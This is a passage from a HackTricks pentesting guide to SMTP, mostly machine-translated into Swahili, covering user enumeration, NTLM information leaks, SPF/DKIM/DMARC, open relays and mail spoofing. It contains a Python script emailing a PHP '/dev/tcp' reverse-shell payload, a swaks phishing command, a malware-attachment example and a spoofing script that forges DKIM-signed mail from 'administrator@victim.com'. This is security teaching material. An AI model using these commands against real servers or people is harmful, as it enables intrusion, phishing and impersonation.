hacktricks/network-services-pentesting/pentesting-smtp/README.md

606 lines
32 KiB
Markdown
Raw Normal View History

# 25,465,587 - Pentesting SMTP/s
2022-04-28 16:01:33 +00:00
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
2022-04-28 16:01:33 +00:00
<details>
2022-04-28 16:01:33 +00:00
<summary>Support HackTricks</summary>
2024-01-02 18:28:27 +00:00
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
2022-04-28 16:01:33 +00:00
</details>
{% endhint %}
2022-04-28 16:01:33 +00:00
<figure><img src="../../.gitbook/assets/image (14) (1).png" alt=""><figcaption></figcaption></figure>
**Mchakato wa haraka wa tathmini ya udhaifu & upimaji wa uvamizi**. Fanya upimaji kamili kutoka mahali popote na zana 20+ & vipengele vinavyotoka kwenye upelelezi hadi ripoti. Hatubadilishi wapimaji wa uvamizi - tunatengeneza zana maalum, moduli za kugundua & kutumia ili kuwapa muda wa kuchimba zaidi, kufungua shells, na kufurahia.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
## **Taarifa za Msingi**
**Protokali ya Uhamishaji wa Barua Rahisi (SMTP)** ni protokali inayotumika ndani ya seti ya TCP/IP kwa **kutuma na kupokea barua pepe**. Kutokana na mipaka yake katika kupanga ujumbe kwenye upande wa mpokeaji, SMTP mara nyingi hutumika pamoja na **POP3 au IMAP**. Protokali hizi za ziada zinawawezesha watumiaji kuhifadhi ujumbe kwenye sanduku la barua la seva na kupakua mara kwa mara.
2024-04-06 19:39:38 +00:00
Katika mazoezi, ni kawaida kwa **programu za barua pepe** kutumia **SMTP kwa kutuma barua pepe**, wakati zinatumia **POP3 au IMAP kwa kupokea**. Kwenye mifumo inayotegemea Unix, **sendmail** inajitokeza kama seva ya SMTP inayotumika mara nyingi kwa madhumuni ya barua pepe. Kifurushi cha kibiashara kinachojulikana kama Sendmail kinajumuisha seva ya POP3. Zaidi ya hayo, **Microsoft Exchange** inatoa seva ya SMTP na inatoa chaguo la kujumuisha msaada wa POP3.
**Bandari ya kawaida:** 25,465(ssl),587(ssl)
```
PORT STATE SERVICE REASON VERSION
25/tcp open smtp syn-ack Microsoft ESMTP 6.0.3790.3959
```
### EMAIL Headers
Ikiwa una fursa ya **kumfanya mwathirika akutumie barua pepe** (kupitia fomu ya mawasiliano ya ukurasa wa wavuti kwa mfano), fanya hivyo kwa sababu **unaweza kujifunza kuhusu topolojia ya ndani** ya mwathirika kwa kuangalia vichwa vya barua pepe.
Pia unaweza kupata barua pepe kutoka kwa seva ya SMTP ukijaribu **kutuma kwa seva hiyo barua pepe kwa anwani isiyopo** (kwa sababu seva itatuma kwa mshambuliaji barua ya NDN). Lakini, hakikisha kwamba unatumia anwani iliyoidhinishwa (angalia sera ya SPF) na kwamba unaweza kupokea ujumbe wa NDN.
Unapaswa pia kujaribu **kutuma maudhui tofauti kwa sababu unaweza kupata habari za kuvutia zaidi** kwenye vichwa kama: `X-Virus-Scanned: by av.domain.com`\
Unapaswa kutuma faili ya mtihani ya EICAR.\
Kugundua **AV** kunaweza kukuwezesha kutumia **vulnerabilities zilizo maarufu.**
## Basic actions
### **Banner Grabbing/Basic connection**
**SMTP:**
```bash
nc -vn <IP> 25
```
**SMTPS**:
```bash
2020-09-23 19:24:09 +00:00
openssl s_client -crlf -connect smtp.mailgun.org:465 #SSL/TLS without starttls command
openssl s_client -starttls smtp -crlf -connect smtp.mailgun.org:587
```
### Kupata seva za MX za shirika
2024-02-11 02:13:58 +00:00
```bash
dig +short mx google.com
```
### Uhesabuzi
2024-02-11 02:13:58 +00:00
```bash
nmap -p25 --script smtp-commands 10.10.10.10
nmap -p25 --script smtp-open-relay 10.10.10.10 -v
```
### NTLM Auth - Ufichuzi wa taarifa
Ikiwa seva inasaidia NTLM auth (Windows) unaweza kupata taarifa nyeti (matoleo). Maelezo zaidi [**hapa**](https://medium.com/@m8r0wn/internal-information-disclosure-using-hidden-ntlm-authentication-18de17675666).
2024-02-11 02:13:58 +00:00
```bash
root@kali: telnet example.com 587
220 example.com SMTP Server Banner
>> HELO
250 example.com Hello [x.x.x.x]
>> AUTH NTLM 334
NTLM supported
>> TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=
334 TlRMTVNTUAACAAAACgAKADgAAAAFgooCBqqVKFrKPCMAAAAAAAAAAEgASABCAAAABgOAJQAAAA9JAEkAUwAwADEAAgAKAEkASQBTADAAMQABAAoASQBJAFMAMAAxAAQACgBJAEkAUwAwADEAAwAKAEkASQBTADAAMQAHAAgAHwMI0VPy1QEAAAAA
```
Au **automate** hii na **nmap** plugin `smtp-ntlm-info.nse`
2024-02-11 02:13:58 +00:00
### Jina la seva ya ndani - Ufichuzi wa taarifa
2024-02-11 02:13:58 +00:00
Seva zingine za SMTP hujaza kiotomatiki anwani ya mtumaji wakati amri "MAIL FROM" inatolewa bila anwani kamili, ikifichua jina lake la ndani:
2024-02-11 02:13:58 +00:00
```
220 somedomain.com Microsoft ESMTP MAIL Service, Version: Y.Y.Y.Y ready at Wed, 15 Sep 2021 12:13:28 +0200
EHLO all
250-somedomain.com Hello [x.x.x.x]
250-TURN
250-SIZE 52428800
250-ETRN
250-PIPELINING
250-DSN
250-ENHANCEDSTATUSCODES
250-8bitmime
250-BINARYMIME
250-CHUNKING
250-VRFY
250 OK
MAIL FROM: me
250 2.1.0 me@PRODSERV01.somedomain.com....Sender OK
```
### Sniffing
Angalia kama unaweza kunasa nywila kutoka kwa pakiti za bandari 25
### [Auth bruteforce](../../generic-methodologies-and-resources/brute-force.md#smtp)
## Username Bruteforce Enumeration
**Uthibitishaji sio kila wakati unahitajika**
2022-05-01 13:25:53 +00:00
### RCPT TO
```bash
2024-02-05 02:28:59 +00:00
$ telnet 1.1.1.1 25
Trying 1.1.1.1...
Connected to 1.1.1.1.
Escape character is '^]'.
220 myhost ESMTP Sendmail 8.9.3
HELO x
2024-02-05 02:28:59 +00:00
250 myhost Hello 18.28.38.48, pleased to meet you
MAIL FROM:example@domain.com
250 2.1.0 example@domain.com... Sender ok
RCPT TO:test
550 5.1.1 test... User unknown
RCPT TO:admin
550 5.1.1 admin... User unknown
RCPT TO:ed
250 2.1.5 ed... Recipient ok
```
2022-05-01 13:25:53 +00:00
### VRFY
2024-02-05 02:28:59 +00:00
```bash
$ telnet 1.1.1.1 25
Trying 1.1.1.1...
Connected to 1.1.1.1.
Escape character is '^]'.
220 myhost ESMTP Sendmail 8.9.3
HELO
501 HELO requires domain address
HELO x
2024-02-05 02:28:59 +00:00
250 myhost Hello 18.28.38.48, pleased to meet you
VRFY root
2024-02-05 02:28:59 +00:00
250 Super-User root@myhost
VRFY blah
550 blah... User unknown
```
2022-05-01 13:25:53 +00:00
### EXPN
2024-02-05 02:28:59 +00:00
```bash
$ telnet 1.1.1.1 25
Trying 1.1.1.1...
Connected to 1.1.1.1.
Escape character is '^]'.
220 myhost ESMTP Sendmail 8.9.3
HELO
501 HELO requires domain address
HELO x
EXPN test
550 5.1.1 test... User unknown
EXPN root
2024-02-05 02:28:59 +00:00
250 2.1.5 ed.williams@myhost
EXPN sshd
2024-02-05 02:28:59 +00:00
250 2.1.5 sshd privsep sshd@myhost
```
### Zana za kiotomatiki
```
Metasploit: auxiliary/scanner/smtp/smtp_enum
2021-02-11 21:32:05 +00:00
smtp-user-enum: smtp-user-enum -M <MODE> -u <USER> -t <IP>
Nmap: nmap --script smtp-enum-users <IP>
```
<figure><img src="../../.gitbook/assets/image (14) (1).png" alt=""><figcaption></figcaption></figure>
2024-04-06 19:39:38 +00:00
**Mpangilio wa haraka wa tathmini ya udhaifu & upimaji wa penya**. Fanya upimaji kamili kutoka mahali popote kwa zana 20+ na vipengele vinavyotoka kwenye utafiti hadi ripoti. Hatubadilishi wapimaji wa penya - tunatengeneza zana maalum, moduli za kugundua & kutumia ili kuwapa muda wa kuchimba zaidi, kufungua shells, na kufurahia.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
## Ripoti za DSN
**Ripoti za Hali ya Uwasilishaji**: Ikiwa unatumia **barua pepe** kwa shirika kwa **anwani isiyo sahihi**, shirika litakujulisha kwamba anwani hiyo ilikuwa isiyo sahihi kwa kutuma **barua tena kwako**. **Vichwa** vya barua pepe iliyorejeshwa vitakuwa na **habari nyeti** zinazoweza kuwepo (kama anwani ya IP ya huduma za barua pepe ambazo zilishirikiana na ripoti au taarifa za programu ya kupambana na virusi).
## [Amri](smtp-commands.md)
### Kutuma Barua Pepe kutoka kwenye konso ya linux
2024-02-08 03:08:28 +00:00
```bash
sendEmail -t to@domain.com -f from@attacker.com -s <ip smtp> -u "Important subject" -a /tmp/malware.pdf
Reading message body from STDIN because the '-m' option was not used.
If you are manually typing in a message:
2024-02-11 02:13:58 +00:00
- First line must be received within 60 seconds.
- End manual input with a CTRL-D on its own line.
2024-02-08 03:08:28 +00:00
<phishing message>
```
2021-06-01 00:43:40 +00:00
```bash
2024-02-11 02:13:58 +00:00
swaks --to $(cat emails | tr '\n' ',' | less) --from test@sneakymailer.htb --header "Subject: test" --body "please click here http://10.10.14.42/" --server 10.10.10.197
2021-06-01 00:43:40 +00:00
```
### Kutuma Barua Pepe kwa Python
<details>
2024-02-11 02:13:58 +00:00
<summary>Kanuni ya Pyhton hapa</summary>
```python
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
import smtplib
import sys
2021-04-22 20:44:15 +00:00
lhost = "127.0.0.1"
lport = 443
rhost = "192.168.1.1"
rport = 25 # 489,587
2021-04-22 20:44:15 +00:00
# create message object instance
2021-04-22 20:44:15 +00:00
msg = MIMEMultipart()
# setup the parameters of the message
password = ""
msg['From'] = "attacker@local"
msg['To'] = "victim@local"
msg['Subject'] = "This is not a drill!"
2021-04-22 20:44:15 +00:00
# payload
message = ("<?php system('bash -i >& /dev/tcp/%s/%d 0>&1'); ?>" % (lhost,lport))
2021-04-22 20:44:15 +00:00
print("[*] Payload is generated : %s" % message)
2021-04-22 20:44:15 +00:00
msg.attach(MIMEText(message, 'plain'))
server = smtplib.SMTP(host=rhost,port=rport)
2021-04-22 20:44:15 +00:00
if server.noop()[0] != 250:
print("[-]Connection Error")
exit()
2021-04-22 20:44:15 +00:00
server.starttls()
# Uncomment if log-in with authencation
# server.login(msg['From'], password)
2021-04-22 20:44:15 +00:00
server.sendmail(msg['From'], msg['To'], msg.as_string())
server.quit()
2024-04-06 19:39:38 +00:00
print("[***]successfully sent email to %s:" % (msg['To']))
```
</details>
## SMTP Smuggling
2021-04-22 20:44:15 +00:00
Ushirikiano wa SMTP Smuggling uliruhusu kupita kupitia ulinzi wote wa SMTP (angalia sehemu inayofuata kwa maelezo zaidi kuhusu ulinzi). Kwa maelezo zaidi kuhusu SMTP Smuggling angalia:
{% content-ref url="smtp-smuggling.md" %}
[smtp-smuggling.md](smtp-smuggling.md)
{% endcontent-ref %}
2024-04-06 19:39:38 +00:00
## Mail Spoofing Countermeasures
Mashirika yanazuia kutumwa kwa barua pepe zisizoidhinishwa kwa niaba yao kwa kutumia **SPF**, **DKIM**, na **DMARC** kutokana na urahisi wa kudanganya ujumbe wa SMTP.
**mwongozo kamili wa hatua hizi** unapatikana kwenye [https://seanthegeek.net/459/demystifying-dmarc/](https://seanthegeek.net/459/demystifying-dmarc/).
2022-05-01 13:25:53 +00:00
### SPF
{% hint style="danger" %}
SPF [ilikuwa "imeondolewa" mwaka 2014](https://aws.amazon.com/premiumsupport/knowledge-center/route53-spf-record/). Hii inamaanisha kwamba badala ya kuunda **rekodi ya TXT** katika `_spf.domain.com` unaiunda katika `domain.com` ukitumia **sintaksia sawa**.\
Zaidi ya hayo, ili kutumia rekodi za spf za awali ni kawaida sana kukutana na kitu kama `"v=spf1 include:_spf.google.com ~all"`
{% endhint %}
2023-02-07 10:56:16 +00:00
**Sender Policy Framework** (SPF) ni mekanizma inayowezesha Wakala wa Uhamishaji Barua (MTAs) kuthibitisha ikiwa mwenyeji anayesambaza barua pepe ameidhinishwa kwa kuuliza orodha ya seva za barua zilizoidhinishwa zilizofafanuliwa na mashirika. Orodha hii, ambayo inaelezea anwani za IP/mipango, majina ya domain, na vitu vingine **vilivyoidhinishwa kutuma barua pepe kwa niaba ya jina la domain**, inajumuisha "Mekanizma" mbalimbali katika rekodi ya SPF.
2020-09-26 12:22:07 +00:00
#### Mechanisms
2024-02-08 03:08:28 +00:00
Kutoka [Wikipedia](https://en.wikipedia.org/wiki/Sender\_Policy\_Framework):
| Mechanism | Maelezo |
| --------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| ALL | Inalingana kila wakati; inatumika kwa matokeo ya chaguo la default kama `-all` kwa IP zote ambazo hazijalingana na mekanizma za awali. |
| A | Ikiwa jina la domain lina rekodi ya anwani (A au AAAA) ambayo inaweza kutatuliwa kwa anwani ya mtumaji, italingana. |
| IP4 | Ikiwa mtumaji yuko katika eneo fulani la anwani za IPv4, lingana. |
| IP6 | Ikiwa mtumaji yuko katika eneo fulani la anwani za IPv6, lingana. |
| MX | Ikiwa jina la domain lina rekodi ya MX inayotatua kwa anwani ya mtumaji, italingana (yaani, barua inatoka kwenye moja ya seva za barua za kuingia za domain hiyo). |
| PTR | Ikiwa jina la domain (rekodi ya PTR) kwa anwani ya mteja liko katika jina la domain lililotolewa na jina hilo linatatuliwa kwa anwani ya mteja (DNS ya nyuma iliyothibitishwa), lingana. Mekanizma hii inashauriwa kuepukwa, ikiwa inawezekana. |
| EXISTS | Ikiwa jina la domain lililotolewa linatatuliwa kwa anwani yoyote, lingana (bila kujali anwani inayoelekea). Hii haitumiki mara nyingi. Pamoja na lugha ya macro ya SPF inatoa mechi ngumu zaidi kama DNSBL-queries. |
| INCLUDE | Inarejelea sera ya jina la domain lingine. Ikiwa sera ya jina hilo inapita, mekanizma hii inapita. Hata hivyo, ikiwa sera iliyojumuishwa inashindwa, usindikaji unaendelea. Ili kuhamasisha kabisa kwa sera ya jina la domain lingine, kiambatisho cha kuhamasisha kinapaswa kutumika. |
| REDIRECT | <p>Kupeleka ni kiashiria kwa jina la domain lingine ambalo lina sera ya SPF, inaruhusu majina mengi ya domain kushiriki sera hiyo hiyo ya SPF. Ni muhimu wakati wa kufanya kazi na idadi kubwa ya majina ya domain yanayoshiriki miundombinu sawa ya barua pepe.</p><p>Sera ya SPF ya jina la domain lililoonyeshwa katika Mekanizma ya kupeleka itatumika.</p> |
Pia inawezekana kubaini **Qualifiers** ambazo zinaonyesha **kitu kinachopaswa kufanywa ikiwa mekanizma italingana**. Kwa default, **qualifier "+"** inatumika (hivyo ikiwa mekanizma yoyote inalingana, hiyo inamaanisha inaruhusiwa).\
Kwa kawaida utaona **mwishoni mwa sera ya kila SPF** kitu kama: **\~all** au **-all**. Hii inatumika kuonyesha kwamba **ikiwa mtumaji hailingani na sera yoyote ya SPF, unapaswa kuweka alama barua pepe hiyo kama isiyoaminika (\~) au kukataa (-) barua pepe hiyo.**
#### Qualifiers
Kila mekanizma ndani ya sera inaweza kuanzishwa na moja ya qualifiers nne ili kufafanua matokeo yaliyokusudiwa:
* **`+`**: Inalingana na matokeo ya PASS. Kwa default, mekanizma zinachukulia qualifier hii, na kufanya `+mx` kuwa sawa na `mx`.
* **`?`**: Inawakilisha matokeo ya NEUTRAL, inachukuliwa sawa na NONE (sera maalum).
* **`~`**: Inamaanisha SOFTFAIL, ikihudumu kama eneo la kati kati ya NEUTRAL na FAIL. Barua pepe zinazokutana na matokeo haya kwa kawaida zinakubaliwa lakini zinawekwa alama ipasavyo.
* **`-`**: Inaonyesha FAIL, ikipendekeza kwamba barua pepe inapaswa kukataliwa moja kwa moja.
Katika mfano ujao, **sera ya SPF ya google.com** inaonyeshwa. Kumbuka kujumlishwa kwa sera za SPF kutoka majina tofauti ya domain ndani ya sera ya kwanza ya SPF:
2022-10-12 12:28:51 +00:00
```shell-session
2024-02-05 02:28:59 +00:00
dig txt google.com | grep spf
google.com. 235 IN TXT "v=spf1 include:_spf.google.com ~all"
2020-09-26 10:55:36 +00:00
2024-02-05 02:28:59 +00:00
dig txt _spf.google.com | grep spf
; <<>> DiG 9.11.3-1ubuntu1.7-Ubuntu <<>> txt _spf.google.com
;_spf.google.com. IN TXT
_spf.google.com. 235 IN TXT "v=spf1 include:_netblocks.google.com include:_netblocks2.google.com include:_netblocks3.google.com ~all"
2020-09-26 10:55:36 +00:00
2024-02-05 02:28:59 +00:00
dig txt _netblocks.google.com | grep spf
_netblocks.google.com. 1606 IN TXT "v=spf1 ip4:35.190.247.0/24 ip4:64.233.160.0/19 ip4:66.102.0.0/20 ip4:66.249.80.0/20 ip4:72.14.192.0/18 ip4:74.125.0.0/16 ip4:108.177.8.0/21 ip4:173.194.0.0/16 ip4:209.85.128.0/17 ip4:216.58.192.0/19 ip4:216.239.32.0/19 ~all"
2020-09-26 10:55:36 +00:00
2024-02-05 02:28:59 +00:00
dig txt _netblocks2.google.com | grep spf
_netblocks2.google.com. 1908 IN TXT "v=spf1 ip6:2001:4860:4000::/36 ip6:2404:6800:4000::/36 ip6:2607:f8b0:4000::/36 ip6:2800:3f0:4000::/36 ip6:2a00:1450:4000::/36 ip6:2c0f:fb50:4000::/36 ~all"
2020-09-26 10:55:36 +00:00
2024-02-05 02:28:59 +00:00
dig txt _netblocks3.google.com | grep spf
_netblocks3.google.com. 1903 IN TXT "v=spf1 ip4:172.217.0.0/19 ip4:172.217.32.0/20 ip4:172.217.128.0/19 ip4:172.217.160.0/20 ip4:172.217.192.0/19 ip4:172.253.56.0/21 ip4:172.253.112.0/20 ip4:108.177.96.0/19 ip4:35.191.0.0/16 ip4:130.211.0.0/22 ~all"
```
Traditionally it was possible to spoof any domain name that didn't have a correct/any SPF record. **Sasa**, if **email** comes from a **domain without a valid SPF record** is probably going to be **rejected/marked as untrusted automatically**.
To check the SPF of a domain you can use online tools like: [https://www.kitterman.com/spf/validate.html](https://www.kitterman.com/spf/validate.html)
### DKIM (DomainKeys Identified Mail)
DKIM is utilized to sign outbound emails, allowing their validation by external Mail Transfer Agents (MTAs) through the retrieval of the domain's public key from DNS. This public key is located in a domain's TXT record. To access this key, one must know both the selector and the domain name.
2024-02-05 02:28:59 +00:00
For instance, to request the key, the domain name and selector are essential. These can be found in the mail header `DKIM-Signature`, e.g., `d=gmail.com;s=20120113`.
A command to fetch this information might look like:
2022-10-12 12:28:51 +00:00
```bash
dig 20120113._domainkey.gmail.com TXT | grep p=
2024-02-05 02:28:59 +00:00
# This command would return something like:
20120113._domainkey.gmail.com. 280 IN TXT "k=rsa\; p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA1Kd87/UeJjenpabgbFwh+eBCsSTrqmwIYYvywlbhbqoo2DymndFkbjOVIPIldNs/m40KF+yzMn1skyoxcTUGCQs8g3
```
### DMARC (Domain-based Message Authentication, Reporting & Conformance)
DMARC inaboresha usalama wa barua pepe kwa kujenga juu ya protokali za SPF na DKIM. Inabainisha sera zinazongoza seva za barua katika kushughulikia barua pepe kutoka kwa kikoa maalum, ikiwa ni pamoja na jinsi ya kushughulikia kushindwa kwa uthibitisho na wapi kutuma ripoti kuhusu vitendo vya usindikaji wa barua pepe.
2024-02-11 02:13:58 +00:00
**Ili kupata rekodi ya DMARC, unahitaji kuuliza subdomain \_dmarc**
2024-02-05 02:28:59 +00:00
```bash
# Reject
dig _dmarc.facebook.com txt | grep DMARC
_dmarc.facebook.com. 3600 IN TXT "v=DMARC1; p=reject; rua=mailto:a@dmarc.facebookmail.com; ruf=mailto:fb-dmarc@datafeeds.phishlabs.com; pct=100"
2020-09-26 10:54:55 +00:00
2024-02-05 02:28:59 +00:00
# Quarantine
dig _dmarc.google.com txt | grep DMARC
_dmarc.google.com. 300 IN TXT "v=DMARC1; p=quarantine; rua=mailto:mailauth-reports@google.com"
2020-09-26 10:54:55 +00:00
2024-02-05 02:28:59 +00:00
# None
dig _dmarc.bing.com txt | grep DMARC
_dmarc.bing.com. 3600 IN TXT "v=DMARC1; p=none; pct=100; rua=mailto:BingEmailDMARC@microsoft.com;"
```
#### DMARC tags
| Tag Name | Purpose | Sample |
| -------- | --------------------------------------------- | ------------------------------- |
| v | Protocol version | v=DMARC1 |
| pct | Percentage of messages subjected to filtering | pct=20 |
| ruf | Reporting URI for forensic reports | ruf=mailto:authfail@example.com |
| rua | Reporting URI of aggregate reports | rua=mailto:aggrep@example.com |
| p | Policy for organizational domain | p=quarantine |
| sp | Policy for subdomains of the OD | sp=reject |
| adkim | Alignment mode for DKIM | adkim=s |
| aspf | Alignment mode for SPF | aspf=r |
### **What about Subdomains?**
**Kutoka** [**hapa**](https://serverfault.com/questions/322949/do-spf-records-for-primary-domain-apply-to-subdomains)**.**\
Unahitaji kuwa na rekodi za SPF tofauti kwa kila subdomain unayotaka kutuma barua kutoka.\
Hii ilichapishwa awali kwenye openspf.org, ambayo ilikuwa rasilimali nzuri kwa aina hii ya mambo.
> Swali la Demon: Je, kuhusu subdomains?
>
> Ikiwa napokea barua kutoka pielovers.demon.co.uk, na hakuna data ya SPF kwa pielovers, je, ni lazima nirudi ngazi moja na kujaribu SPF kwa demon.co.uk? Hapana. Kila subdomain katika Demon ni mteja tofauti, na kila mteja anaweza kuwa na sera yake mwenyewe. Haitawezekana kwa sera ya Demon kutumika kwa wateja wote kwa default; ikiwa Demon inataka kufanya hivyo, inaweza kuweka rekodi za SPF kwa kila subdomain.
>
> Hivyo ushauri kwa wachapishaji wa SPF ni huu: unapaswa kuongeza rekodi ya SPF kwa kila subdomain au jina la mwenyeji ambalo lina rekodi ya A au MX.
>
> Tovuti zenye rekodi za A au MX za wildcard pia zinapaswa kuwa na rekodi ya SPF ya wildcard, ya aina: \* IN TXT "v=spf1 -all"
2020-09-26 12:22:07 +00:00
Hii ina maana - subdomain inaweza kuwa katika eneo tofauti la kijiografia na kuwa na ufafanuzi wa SPF tofauti sana.
2020-09-26 12:22:07 +00:00
### **Open Relay**
2022-10-02 21:10:53 +00:00
Wakati barua pepe zinatumwa, kuhakikisha hazitapewa alama kama spam ni muhimu. Hii mara nyingi inafanikiwa kupitia matumizi ya **seva ya relay ambayo inatambulika na mpokeaji**. Hata hivyo, changamoto ya kawaida ni kwamba wasimamizi huenda hawajui kikamilifu ni **mifumo ya IP ipi ni salama kuruhusu**. Ukosefu huu wa uelewa unaweza kusababisha makosa katika kuanzisha seva ya SMTP, hatari ambayo mara nyingi inatambuliwa katika tathmini za usalama.
2022-10-02 21:10:53 +00:00
Njia mbadala ambayo wasimamizi wengine hutumia ili kuepuka matatizo ya usambazaji wa barua pepe, hasa kuhusu mawasiliano na wateja wanaoweza kuwa au wanaoendelea, ni **kuruhusu muunganisho kutoka anwani yoyote ya IP**. Hii inafanywa kwa kuunda parameter ya `mynetworks` ya seva ya SMTP ili kukubali anwani zote za IP, kama inavyoonyeshwa hapa chini:
2024-02-05 02:28:59 +00:00
```bash
2022-10-02 21:10:53 +00:00
mynetworks = 0.0.0.0/0
```
Ili kuangalia ikiwa seva ya barua ni relay wazi (ambayo inamaanisha inaweza kupeleka barua pepe kutoka chanzo chochote cha nje), zana ya `nmap` hutumiwa mara nyingi. Inajumuisha skripti maalum iliyoundwa kupima hili. Amri ya kufanya skana ya kina kwenye seva (kwa mfano, na IP 10.10.10.10) kwenye bandari ya 25 kwa kutumia `nmap` ni:
2022-10-02 21:10:53 +00:00
```bash
nmap -p25 --script smtp-open-relay 10.10.10.10 -v
```
### **Vifaa**
2024-04-06 19:39:38 +00:00
* [**https://github.com/serain/mailspoof**](https://github.com/serain/mailspoof) **Angalia makosa ya SPF na DMARC**
* [**https://pypi.org/project/checkdmarc/**](https://pypi.org/project/checkdmarc/) **Pata mipangilio ya SPF na DMARC kiotomatiki**
2024-02-05 02:28:59 +00:00
### Tuma Barua Pepe ya Kughushi
2022-10-12 12:28:51 +00:00
* [**https://www.mailsploit.com/index**](https://www.mailsploit.com/index)
2023-02-07 10:56:16 +00:00
* [**http://www.anonymailer.net/**](http://www.anonymailer.net)
2024-02-08 03:08:28 +00:00
* [**https://emkei.cz/**](https://emkei.cz/)
2022-10-12 12:28:51 +00:00
**Au unaweza kutumia kifaa:**
2022-10-12 12:28:51 +00:00
2024-02-08 03:08:28 +00:00
* [**https://github.com/magichk/magicspoofing**](https://github.com/magichk/magicspoofing)
2022-10-12 12:28:51 +00:00
```bash
# This will send a test email from test@victim.com to destination@gmail.com
python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com
# But you can also modify more options of the email
python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com --subject TEST --sender administrator@victim.com
```
{% hint style="warning" %}
Ikiwa unapata **kosa lolote ukitumia katika dkim python lib** kuchambua funguo, jisikie huru kutumia hii ifuatayo.\
**KUMBUKA**: Hii ni suluhisho chafu tu kufanya ukaguzi wa haraka katika hali ambapo kwa sababu fulani funguo ya faragha ya openssl **haiwezi kuchambuliwa na dkim**.
2022-10-12 12:28:51 +00:00
```
-----BEGIN RSA PRIVATE KEY-----
MIICXgIBAAKBgQDdkohAIWT6mXiHpfAHF8bv2vHTDboN2dl5pZKG5ZSHCYC5Z1bt
spr6chlrPUX71hfSkk8WxnJ1iC9Moa9sRzdjBrxPMjRDgP8p8AFdpugP5rJJXExO
pkZcdNPvCXGYNYD86Gpous6ubn6KhUWwDD1bw2UFu53nW/AK/EE4/jeraQIDAQAB
AoGAe31lrsht7TWH9aJISsu3torCaKyn23xlNuVO6xwdUb28Hpk327bFpXveKuS1
koxaLqQYrEriFBtYsU8T5Dc06FQAVLpUBOn+9PcKlxPBCLvUF+/KbfHF0q1QbeZR
fgr+E+fPxwVPxxk3i1AwCP4Cp1+bz2s58wZXlDBkWZ2YJwECQQD/f4bO2lnJz9Mq
1xsL3PqHlzIKh+W+yiGmQAELbgOdX4uCxMxjs5lwGSACMH2nUwXx+05RB8EM2m+j
ZBTeqxDxAkEA3gHyUtVenuTGClgYpiwefaTbGfYadh0z2KmiVcRqWzz3hDUEWxhc
GNtFT8wzLcmRHB4SQYUaS0Df9mpvwvdB+QJBALGv9Qci39L0j/15P7wOYMWvpwOf
422+kYxXcuKKDkWCTzoQt7yXCRzmvFYJdznJCZdymNLNu7q+p2lQjxsUiWECQQCI
Ms2FP91ywYs1oWJN39c84byBKtiFCdla3Ib48y0EmFyJQTVQ5ZrqrOrSz8W+G2Do
zRIKHCxLapt7w0SZabORAkEAxvm5pd2MNVqrqMJHbukHY1yBqwm5zVIYr75eiIDP
K9B7U1w0CJFUk6+4Qutr2ROqKtNOff9KuNRLAOiAzH3ZbQ==
-----END RSA PRIVATE KEY-----
```
{% endhint %}
2022-10-12 12:28:51 +00:00
**Au unaweza kufanya hivyo kwa mikono:**
2022-10-12 12:28:51 +00:00
{% tabs %}
{% tab title="PHP" %}
2024-02-11 02:13:58 +00:00
<pre class="language-php"><code class="lang-php"><strong># Hii itatuma ujumbe usio na saini
</strong><strong>mail("your_email@gmail.com", "Kichwa cha Jaribio!", "hey! Hii ni jaribio", "Kutoka: administrator@victim.com");
2023-02-07 10:56:16 +00:00
</strong></code></pre>
{% endtab %}
2022-10-12 12:28:51 +00:00
{% tab title="Python" %}
2022-10-12 12:28:51 +00:00
```python
# Code from https://github.com/magichk/magicspoofing/blob/main/magicspoofmail.py
import os
import dkim #pip3 install dkimpy
import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from email.mime.base import MIMEBase
# Set params
destination="destination@gmail.com"
sender="administrator@victim.com"
subject="Test"
message_html="""
<html>
2024-02-11 02:13:58 +00:00
<body>
<h3>This is a test, not a scam</h3>
<br />
</body>
2022-10-12 12:28:51 +00:00
</html>
"""
sender_domain=sender.split("@")[1]
# Prepare postfix
os.system("sudo sed -ri 's/(myhostname) = (.*)/\\1 = "+sender_domain+"/g' /etc/postfix/main.cf")
os.system("systemctl restart postfix")
# Generate DKIM keys
dkim_private_key_path="dkimprivatekey.pem"
os.system(f"openssl genrsa -out {dkim_private_key_path} 1024 2> /dev/null")
with open(dkim_private_key_path) as fh:
2024-02-11 02:13:58 +00:00
dkim_private_key = fh.read()
2022-10-12 12:28:51 +00:00
# Generate email
msg = MIMEMultipart("alternative")
msg.attach(MIMEText(message_html, "html"))
msg["To"] = destination
msg["From"] = sender
msg["Subject"] = subject
headers = [b"To", b"From", b"Subject"]
msg_data = msg.as_bytes()
# Sign email with dkim
## The receiver won't be able to check it, but the email will appear as signed (and therefore, more trusted)
dkim_selector="s1"
sig = dkim.sign(message=msg_data,selector=str(dkim_selector).encode(),domain=sender_domain.encode(),privkey=dkim_private_key.encode(),include_headers=headers)
msg["DKIM-Signature"] = sig[len("DKIM-Signature: ") :].decode()
msg_data = msg.as_bytes()
# Use local postfix relay to send email
